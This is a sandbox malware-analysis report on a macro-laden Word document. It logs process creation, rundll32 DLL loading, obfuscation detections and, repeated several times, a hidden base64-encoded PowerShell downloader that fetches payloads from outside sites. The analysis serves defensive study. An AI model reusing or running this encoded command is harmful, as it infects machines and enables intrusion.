JwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',UzhgGODQuLxptX
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',Keza
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',TsvDub
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',ujMkapeydjSFMoJ
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',ANiwQWggq
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',#1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',UzhgGODQuLxptX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',Keza Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',TsvDub Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',ujMkapeydjSFMoJ Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',ANiwQWggq Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',#1
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: mscorlib.pdb` source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdbO source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbE source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2107891055.0000000002820000.00000002.00000001.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbles AA source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: ARCHIVOFile-20-012021.doc Stream path 'Macros/VBA/Nst6otvnmgmpw' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Nst6otvnmgmpw Name: Nst6otvnmgmpw
Document contains an embedded VBA with many randomly named variables
Source: ARCHIVOFile-20-012021.doc Stream path 'Macros/VBA/Nst6otvnmgmpw' : High entropy of concatenated variable names
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcA
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaA